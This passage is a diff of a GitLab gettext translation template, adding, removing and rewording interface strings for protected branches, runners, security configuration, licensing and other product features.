msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|What are protected tags?"
msgstr ""
-msgid "Provide feedback"
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
